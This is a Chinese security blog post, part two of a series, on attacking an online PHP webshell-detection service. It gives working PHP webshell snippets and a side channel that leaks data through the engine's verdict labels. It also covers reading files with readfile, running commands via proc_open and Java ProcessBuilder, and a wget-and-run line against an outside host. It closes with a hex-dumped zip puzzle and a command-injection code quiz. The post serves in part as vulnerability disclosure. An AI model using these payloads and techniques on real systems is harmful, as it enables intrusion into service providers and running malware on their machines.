利用恶意软件检测服务向服务提供商植入恶意软件2
2016-10-24 10:06:58之前说到了利用本地dns做中转传输数据的通道被禁止后,还是否有方法把变量内容传递出来。这里有一个很明显的信道,在我们最开始的时候就已经用来判断检测机制了,就是检测引擎输出的检测结果。
之前说过,未被调用的代码块检测引擎是不检测的,那么:
if ($a[0]=='a') eval($_GET['ddd']);
else echo 'xxxx';
以上脚本,如果变量$a第一个字符为a,那么检测结果就会显示该脚本是webshell,否则安全。但是在引擎内任何if/else等逻辑判断都被磨平了,一个条件亦真亦假,在这个解释器里面没有逻辑可言。所以上面代码行不通。不过还有另外一个机制可以做分支,即动态函数调用。利用代码如下:
<?php
function a65() {eval($_GET['id']);}
$a="test";
$b = substr($a, 0, 1);
$c = "a".ord($b);
@call_user_func($c);
让引擎检查以上代码,如果$a的第一个字符是”A”,则检测结果是webshell,反之该字符不是”A”。
这样,我们枚举ascii码范围内的数字,建立相应函数分别放在不同的文件内然后打包让其检测,就可以把任意变量的内容读取出来。
同时,该引擎会区分不同webshell,eval($_GET['id'])
显示为中国菜刀变形
类型后门,preg_replace("/[email]/e",$_POST['h'],"error")
显示为preg_replace代码执行
,这样可以使结果三元化,这样能把测试文件的数量成倍减少:
//a0.php
<?php
function a0() {eval($_GET['id']);}
function a1() {@preg_replace("/[email]/e",$_POST['h'],"error");}
$a="test";
$b = substr($a, 0, 1);
$c = "a".ord($b);@call_user_func($c);
//a2.php
<?php
function a2() {eval($_GET['id']);}
function a3() {@preg_replace("/[email]/e",$_POST['h'],"error");}
$a="test";
$b = substr($a, 0, 1);
$c = "a".ord($b);@call_user_func($c);
如果检测结果显示aN.php为中国菜刀变形
类型,说明该字符的ascii码是N,如果是preg_replace代码执行
类型,则是N+1。
获取更多的恶意类型可以帮助减少测试文件数量同时增加数据传输的效率,经过测试又找到了其他4种:Eval代码执行
加(N+2),命令执行后门
(N+3),小马上传工具
(N+4),任意文件写入
加(N+5)。同时我们还可以在压缩包里各个文件名中标注测试的字符,这样可以进一步提高数据的传输效率。
例如内容为”defg”的变量的检测结果应为:
------------------------------------
/a0_96.php 小马上传工具 <-- 96+4=100 (d)
/a1_96.php 任意文件写入 <-- 96+5=100 (e)
/a2_102.php 中国菜刀变形 <-- 102+0=102 (f)
/a3_102.php preg_replace代码执行 <-- 102+1=103 (g)
/a0_0.php 正常
/a0_6.php 正常
...
------------------------------------
实现本地IO操作和任意代码执行
经测试fread/file_get_contents的行为都被修改了。我没有去试php其他默认不安装的文件系统扩展(比如DirectIO),因为这些扩展在检测引擎上没有理由去安装。第一次测试时想到了include:
ob_start();
include('/etc/issue');
$a = ob_get_contents();
ob_end_clean();
这里使用缓冲控制的函数还有一个好处,就是可以获得php的报错以获悉php执行失败的详细信息。
但是include有一个问题,就是在尝试读取二进制文件的时候,会有几率遇到”<?”这种组合,这会使读取内容不准确或者后续字符导致php语法错误。这种情况在我在尝试后续的测试时就发生了。 因此我又在php手册里的fs操作列表里找到了一个readfile函数。
ob_start();
readfile('/etc/issue');
$a = ob_get_contents();
ob_end_clean();
第一次利用,发现system
/shell_exec
等函数的行为都被修改了,没有办法达成执行命令的目的,但是发现proc_open可以顺利执行命令,十分惊讶于这种老生常谈的方法可以成功,这也说明了该引擎的安全性在很大程度上依赖于预设用户获取不到php代码的详细执行过程和结果。
第二次执行命令是通过java的ProcessBuilder。
`'new ProcessBuilder("sh", "-c","(%s) &> %s");' % (cmd, tmp_file)`
这里有一个细节,就是执行命令时候实际跑的是sh -c "(%s) >%s"
(以上是用python去生成java代码),这里主要是为了让shell对我们的输入进行解析以支持多语句执行等功能。记得之前Struts2的RCE工具,很多人发现这个工具无法执行像在shell里多个命令(我猜运营美眉肯定看不到文章的这里,这里这么文字这么多。葫芦娃葫芦娃,叮叮当当叮叮当,可是如果黑猫警长变白了怎么办),是因为exp里使用的Runtime.getRuntime().exec(cmd)
会把参数cmd按字符串以空格切分开,然后全部作为参数去调用execve。这样往往会出出现这种情况:
struts-exp-prompt> id root;id
id: root;id: no such user
遇到这种情况一般分开执行不会是什么大事,但是遇到web运行时分散在多台后端机器的情况,而同时想在相同机器执行多条命令就不那么方便了,比如wget http://tool.hackshell.net/1.py && python 1.py
,这种情况下除非你想首先把1.py传遍所有后端。一个解决方案是:
String cmd = new String("id root; [ $? -eq 0 ] && echo 'bingo'");
Process proc = Runtime.getRuntime().exec("bash -c "+cmd.replace(" ", "${IFS}"));
这里需要注意单引号括起来的字符串内的空格会被替换成${IFS}
,这可能不是命令执行者想要的。不过这种情况很少见,毕竟利用工具只是用来了解基本的机器网络环境后植入后续更舒服的控制工具。
说回来检测引擎,因为目标环境的安全性太过依赖于预设攻击者无法获取php执行的详细信息,所以执行命令部分并没有什么特殊方法。目标引擎所在的操作系统是一个完全安装的Linux,所以我有足够的辅助程序来帮助我做本地文件系统的读写操作,而我具有写权限的路径同样允许执行,因此我可以在目标系统的cpu上执行任意二进制代码,包括恶意软件。
第一个文后题目:
下面是一串数字,以此可以得到一个以xiaomi开头的暗号,请回复暗号内容。
50 4b 03 04 14 00 00 00
08 00 41 5f 09 49 b9 e9
68 42 00 01 00 00 04 01
00 00 04 00 1c 00 62 69
6e 31 55 54 09 00 03 c9
54 a9 57 cc 54 a9 57 75
78 0b 00 01 04 e8 03 00
00 04 e8 03 00 00 7b 2d
e8 1b dc f1 41 dd 37 98
c1 39 3f b7 a0 28 b5 b8
98 e1 e5 31 06 06 86 d8
63 ae b3 f3 5e 70 00 59
15 86 89 f9 b9 99 02 8e
c7 5c 67 24 fb 74 b3 a8
78 18 1e f0 e8 8d fd e3
d1 79 d0 63 47 a7 2b 73
97 2b 1b 50 ac b3 b5 ea
ff ff ff 1e 3b 3a 5c 39
41 02 c9 1e 9d ae 4d 1e
9d 27 36 30 1f 73 9d 99
7d cc 75 96 a1 47 e7 61
c7 6e 16 06 9f d4 92 e2
82 c4 a2 92 ca 92 fc bc
cc f4 8c 92 0e 57 b6 b4
6e 57 8e b4 4e 57 de e3
ae fc 15 06 45 8a 13 3c
7a 6b b9 3c 8e 1f 64 02
5a bd a1 e0 f3 2a 8f e6
83 8c 1b 2a 81 36 f2 7a
58 fe 2e 7d 7f cc 55 58
91 bf d5 0d 68 99 a3 47
6f 29 03 50 31 c3 0b 0d
20 ef 69 ff fa e7 f3 97
3e 5b db f3 a2 a1 f5 c9
ae 65 4f 97 76 3c d9 3b
95 21 2b dd a3 f3 10 50
1d 23 d0 d1 01 1e 96 27
4a 58 5f 28 03 15 57 64
26 1a e4 1a 32 c4 67 30
30 e4 03 ad 01 00 58 4d
01 02 1e 03 14 00 00 00
08 00 41 5f 09 49 b9 e9
68 42 00 01 00 00 04 01
00 00 04 00 18 00 00 00
00 00 00 00 00 00 b4 81
00 00 00 00 62 69 6e 31
55 54 05 00 03 c9 54 a9
57 75 78 0b 00 01 04 e8
03 00 00 04 e8 03 00 00
58 4d 05 06 00 00 00 00
01 00 01 00 4a 00 00 00
3e 01 00 00 00 00
第二个文后题目:
如下代码可能存在什么安全问题?
<?php
extract($_POST);
// 輸入淨化
if (!mb_detect_encoding($p1, 'UTF-8', true) && !mb_detect_encoding($p1, 'big5', true)) {
die("funny how a melody sounds like a memory");
}
$p1 = mb_ereg_replace("\\\\", "\\\\", $p1);
$p1 = mb_ereg_replace("\"","\\\"", $p1);
$p1 = mb_ereg_replace("\\$", "\\$", $p1);
$p1 = mb_ereg_replace("`", "\\`", $p1);
// 記錄日誌
exec_sql("INSERT INTO iface_log (content, data) VALUES(?, ?)",
"ss", "Remote interface called",
json_encode(array('p1'=>$p1, 'p2'=>$p2)));
// 執行轉換
system("timeout 2 /scripts/convert.sh reverse \"$p1\"");